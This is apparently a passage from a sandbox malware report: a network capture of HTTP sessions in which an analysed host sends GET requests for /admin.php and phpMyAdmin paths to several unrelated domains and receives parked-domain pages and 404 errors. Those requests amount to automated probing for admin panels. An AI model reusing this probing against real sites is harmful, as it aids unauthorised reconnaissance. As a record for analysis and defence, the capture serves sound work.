74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 31 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 31 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 Data Ascii: 4b1c<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_FluOuZX7cCaxruR4U9ZioPucDISxXnM9ZzYWa//Tn06Nz9Se49sJVpbb+DX28vTBT+nP2MWRbjLuGi/v+deLZw==" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> <title>airanatoliava.org</title> <script src="//www.google.com/adsense/domains/caf.js?abp=1"></script> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_star1 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star1.gif') no-repeat center;width: 13px;height: 12px
Dec 2, 2023 18:04:42.385535002 CET	1274	IN	Data Raw: 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 48 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f Data Ascii: ;display: inline-block;}.asset_starH {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/starH.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.sitelink {padding-right: 16px;}.sellerRatin
Dec 2, 2023 18:04:42.385571003 CET	1274	IN	Data Raw: 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 63 6c 65 61 6e 50 65 70 70 65 72 6d 69 6e 74 42 6c 61 63 6b 5f 36 35 37 64 39 30 31 33 2f 69 6d 67 2f 62 6f 74 74 6f 6d 2e 70 6e 67 27 29 20 Data Ascii: 8psrni17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/bottom.png') no-repeat center bottom; padding-bottom:140px;}.wrapper3 { background:#fff; max-width:300px; margin:0 auto 1rem; padding-top:1px; padd
Dec 2, 2023 18:04:42.385608912 CET	1274	IN	Data Raw: 69 6e 2d 68 65 69 67 68 74 3a 36 30 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 77 72 61 70 70 65 72 33 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 35 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e Data Ascii: in-height:600px; } .wrapper3 { max-width:530px; background:none; }}</style> </head><body id="afd" style="visibility:hidden"><div id="reg-banner" class="reg-banner"> <style> .reg-banner { box-siz
Dec 2, 2023 18:04:42.386852026 CET	1274	IN	Data Raw: 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 65 74 77 6f 72 6b 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 65 78 70 65 72 69 65 6e 63 65 2d 66 72 61 67 6d 65 6e 74 73 2f 6e 65 74 73 6f 6c 2f 73 69 74 65 2d 68 65 61 64 65 72 2f 6d 61 Data Ascii: ttps://www.networksolutions.com/content/experience-fragments/netsol/site-header/master/_jcr_content/root/header/logo.coreimg.svg/1633719265272/160x62-full-logo-transparent-bg.svg" class="reg-logo" alt="airanatoliava.org expired on and is pend
Dec 2, 2023 18:04:42.386889935 CET	1274	IN	Data Raw: 3a 20 31 20 2f 20 73 70 61 6e 20 32 3b 20 6a 75 73 74 69 66 79 2d 73 65 6c 66 3a 20 65 6e 64 22 3e 0a 20 20 20 20 20 20 20 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 2f 2f 61 64 73 2e 6e 65 74 77 6f 72 6b 73 6f Data Ascii: : 1 / span 2; justify-self: end"> <a target="_blank" href="//ads.networksolutions.com/landing?code=P47C100S1N0B9A1D124E0000V100" class="header-text-color"> Renew Your Domain Now </a> </div> <div style="grid-
Dec 2, 2023 18:04:42.386929035 CET	1274	IN	Data Raw: 77 65 62 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 45 6e 67 6c 69 73 68 2f 4d 53 41 2f 76 31 2e 30 2e 30 2e 33 2f 53 65 72 76 69 63 65 73 41 67 72 65 65 6d 65 6e 74 2e 70 64 66 22 3e 53 65 72 76 69 63 65 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 3c 62 Data Ascii: web.com/legal/English/MSA/v1.0.0.3/ServicesAgreement.pdf">Service Agreement</a><br><br><a href="https://www.networksolutions.com/">Legal Notice</a> </div></div><script type="text/javascript" language="JavaScript"> var tcblock = {
Dec 2, 2023 18:04:42.386965990 CET	1274	IN	Data Raw: 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 69 73 41 64 75 6c 74 3d 66 61 6c 73 65 3b 20 20 20 20 20 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 4e 61 6d 65 73 3d 5b 5d 3b 20 20 20 20 20 76 61 72 20 75 6e 69 71 75 65 54 72 61 63 6b 69 6e 67 49 44 3d 27 Data Ascii: vascript">var isAdult=false; var containerNames=[]; var uniqueTrackingID='MTcwMTUzNjY4Mi4yMTQ1OjkzMWQ5ZGYwOTlkN2E1MDk1NmNjMDhmM2UyMzFlZjA2YTQyMDY3ZWVjZTBjZWMyZGZhMTM5NTZkYzgzZDc3Mzc6NjU2YjYzYWEzNDYwNg=='; var search=''; var the
Dec 2, 2023 18:04:42.387001038 CET	1274	IN	Data Raw: 2f 3f 74 73 3d 27 2c 0a 20 20 20 20 27 66 6f 6e 74 46 61 6d 69 6c 79 27 3a 20 27 61 72 69 61 6c 27 2c 0a 20 20 20 20 27 6f 70 74 69 6d 69 7a 65 54 65 72 6d 73 27 3a 20 74 72 75 65 2c 0a 20 20 20 20 27 6d 61 78 54 65 72 6d 4c 65 6e 67 74 68 27 3a Data Ascii: /?ts=', 'fontFamily': 'arial', 'optimizeTerms': true, 'maxTermLength': 40, 'adtest': true, 'clicktrackUrl': '//' + location.host + '/track.php?', 'attributionText': 'Ads', 'colorAttribution': '#b7b7b7', 'fontSiz
Dec 2, 2023 18:04:42.387038946 CET	1274	IN	Data Raw: 20 61 64 73 4c 6f 61 64 65 64 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 73 45 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 3a 20 69 73 45 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: adsLoaded, isExperimentVariant: isExperimentVariant, callbackOptions: callbackOptions, terms: pageOptions.terms } ajaxQuery( scriptPath + "/track.php"
Dec 2, 2023 18:04:42.387075901 CET	1274	IN	Data Raw: 6f 6e 65 6e 74 28 64 6f 6d 61 69 6e 29 20 2b 20 22 26 63 61 66 3d 31 26 74 6f 67 67 6c 65 3d 65 72 72 6f 72 63 6f 64 65 26 63 6f 64 65 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 73 74 61 74 75 73 2e 65 72 72 6f 72 5f Data Ascii: onent(domain) + "&caf=1&toggle=errorcode&code=" + encodeURIComponent(status.error_code) + "&uid=" + encodeURIComponent(uniqueTrackingID)); if ([18, 19].indexOf(parseInt(status.error_code)) != -1 && fallbackTriggered == false) {

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	58738	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:42.176032066 CET	222	OUT	GET /admin.php HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:42.512731075 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:31 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:42.512743950 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	60210	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:42.341015100 CET	224	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:42.686496019 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:42 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	60769	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:42.369024038 CET	232	OUT	GET /phpmyadmin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:42.561949015 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:42 GMT Server: Apache Set-Cookie: vsid=921vr449082282471630147; expires=Thu, 30-Nov-2028 17:04:42 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_pGAiZi3BnM9l+oB4wKyrUqe2r0rNxC0VkCbTjJ6vRErqCY4lqSjOUJsbDyHQNGU3sZDAPfT8X9uHUHXMwkgRWw== Content-Length: 2593 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 70 47 41 69 5a 69 33 42 6e 4d 39 6c 2b 6f 42 34 77 4b 79 72 55 71 65 32 72 30 72 4e 78 43 30 56 6b 43 62 54 6a 4a 36 76 52 45 72 71 43 59 34 6c 71 53 6a 4f 55 4a 73 62 44 79 48 51 4e 47 55 33 73 5a 44 41 50 66 54 38 58 39 75 48 55 48 58 4d 77 6b 67 52 57 77 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_pGAiZi3BnM9l+oB4wKyrUqe2r0rNxC0VkCbTjJ6vRErqCY4lqSjOUJsbDyHQNGU3sZDAPfT8X9uHUHXMwkgRWw=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://airanatoliava.org/px.js?ch=1"></script><script type="text/javascript" src="http://airanatoliava.org/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://airanatoliava.org/sk-logabpstatus.ph
Dec 2, 2023 18:04:42.561961889 CET	1274	IN	Data Raw: 70 3f 61 3d 62 32 4e 6d 59 30 5a 59 52 6b 39 32 56 55 46 33 65 6d 30 33 55 57 46 45 4c 33 46 30 63 46 45 77 62 32 38 78 4d 53 73 77 64 69 74 54 52 56 56 4f 52 69 74 43 53 57 68 79 63 56 6f 72 4e 44 41 79 65 6d 31 45 61 56 52 34 4d 30 4d 34 54 31 Data Ascii: p?a=b2NmY0ZYRk92VUF3em03UWFEL3F0cFEwb28xMSswditTRVVORitCSWhycVorNDAyem1EaVR4M0M4T1Iyc0FWbEFmOTNZUExQbzRJV1Fqei9la1BaMHRzRXl5T0trRXdEQisxbmhOdTZHQ1R5anU4MHJIYTVHdFV3UDNUblBDU2w=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "
Dec 2, 2023 18:04:42.561973095 CET	719	IN	Data Raw: 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f Data Ascii: ext/javascript" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor10' + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolutio

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	60905	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:42.746321917 CET	229	OUT	GET /phpmyadmin/ HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.084136009 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:42 GMT Server: Apache Set-Cookie: vsid=934vr449082282863040522; expires=Thu, 30-Nov-2028 17:04:42 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_cHLwEN4a4FK3QvdVLJynY3xeWyPN29ilNpc037qzfyTZiIEqM76ucalqArr7xwsRMq8NqgXVBCxoJi8iOy5NoA== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 62 31 32 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 